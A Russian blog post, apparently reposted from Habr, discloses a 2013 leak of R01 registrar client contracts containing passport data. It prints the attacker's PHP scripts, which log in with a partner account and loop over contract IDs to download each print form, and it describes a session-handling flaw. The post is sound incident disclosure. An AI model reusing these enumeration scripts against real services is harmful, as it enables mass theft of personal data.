R01: утечка паспортных данных клиентов

от автора

22 октября 2013г с 2 до 8 часов утра у R01 произошла утечка текстов 99999 клиентских договоров содержащие все паспортные данные клиентов, фактического адреса проживания, номера телефона и email. Фактически, из-за каких то проблем злоумышленник получил тексты примерно 50% процентов договоров (файлы были нулевые). Возможно, ранее были произведены аналогичные попытки слития и злоумышленник располагает полной базой договоров. Также по непонятной причине злоумышленник не удалил следы своего взлома и все данные успешно закешировались в google.

скриншот на утро 10 декабря (в настоящее время кэш очищен)
image
Узнаем, как это произошло:

Лирическое отступление: Я являюсь партнером r01 и домены регистрирую только на себя и друзей. 8 декабря мне стали поступать звонки от неизвестных людей которые просили меня предоставить доступ к их домену на основании того, что они готовы сообщить мне все паспортные данные владельца и при этом говорили, что паспорт они потеряли и вообще физически не могут встретиться, так как теперь проживут в другой стране. Я связался с другом, который регистрировал данный домен на своего клиента и он сказал, что с ним ни кто не связывался и мои контакты он ни кому не говорил. Мне стало интересно, откуда неизвестные взяли мой номер – я его ни когда не засвечивал в сети и при наборе его в google я обнаружил свои договор по адресу ns2.kladovochka.net/gmail-box.com/100000-119999/res/XXXXXX.html
kladovochka.net – хостер gmail-box.com (домен с регистрационным email владельца poddrop[doc]lenta.ru)

Перейдя по адресу ns2.kladovochka.net/gmail-box.com/ я увидел следующую картину
image

Названия папок и уже упакованных архивов — видимо внутренние порядковые номера договоров в базе R01. В каждой папке были тексты соответствующих договоров и скриптов взлома, различающихся только выборкой последовательности номеров (скорей всего слитие шло параллельно).

Судя по исходникам слития базы договоров алгоритм был следующий:

1 Запускается скрипт ses.php, задача которого просто залогиниться под партнерским аккаунтом и сохранить печеньку.

ses.php

<?php error_reporting(E_ALL); $cookie_file = "cookie.txt"; $ch = curl_init(); $url_string = 'https://partner.r01.ru/?'; curl_setopt ($ch, CURLOPT_URL, $url_string); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "wizard_domain2=&auid=&htid=&action=1&login=18339/R01-REG&passwd=XXXXXX&remember=on"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file);  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $html = curl_exec ($ch); curl_close($ch); echo $html; 

Печенька cookie.txt содержит идентификатор сессии regbase2_id
cookie.txt

.r01.ru	TRUE	/	FALSE	0	regbase2_id	XXXXXXXXXXXXXXXXXXX partner.r01.ru	FALSE	/	FALSE	0	test	passed 

Далее запускается скрипт ugon.php, который используя ранее сохраненную печеньку перебирает печатные формы договоров и сохраняет их на сервере. По всей видимости, у r01 не было разделения прав для доступа партнеров только к своим договорам.

ugon.php

<?php     set_time_limit(0);     function save($i) {     $ch = curl_init();     $cookie_file = "cookie.txt";     $url_string = "https://partner.r01.ru/AB/print_version.khtml?pftid=1932&type=enclosure&id=$i&outputf=htm";     curl_setopt ($ch, CURLOPT_URL, $url_string);     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);     curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file);     curl_setopt($ch, CURLOPT_COOKIEFILE,  $cookie_file);     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);     $html = curl_exec ($ch);     curl_close($ch);     file_put_contents("res/".$i.".html", $html);     }                for($i = 80000; $i < 100000; $i++) {     save($i);     } 

Обо всем об этом я сразу рассказал службе поддержки r01 по всем доступным каналам, чтобы убедиться, что мое сообщение получено и они понимают серьезность проблемы. Просил их своим влиянием побыстрее заабузить хостинг и домен и запросить у google зачистку кеша. На момент моего сообщения логин злоумышленника был действующий – т.е. R01 не знали о существования проблемы. Через несколько часов ns2.kladovochka.net стал недоступен. На следующий день он снова заработал и уже все данные на нем были стерты.

P.S. Прошу прощения, что я только сейчас обнародую эту информация и кого то уже могли обмануть злоумышленники – я ждал пока google очистит кеш, чтобы другие мошенники не смогли собрать свою базу из google. И вчера на roem.ru/2013/12/10/addednews86718/ произошел слив информации об этом инциденте, который помог к середине дня затереть видимость данных и убрал доступ к сохраненной копии договоров.

P.S.S. Изначально я думал, что была украдена печенька администратора и в результате чего я выяснил, что regbase2_id остается действующим даже после разлогинивания клиента в панели управления по кнопке выход и также оказалось, что его можно было передавать как параметр в строке url – т.е. была возможна подмена сессий – сейчас исправлено.

ссылка на оригинал статьи http://habrahabr.ru/post/205624/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *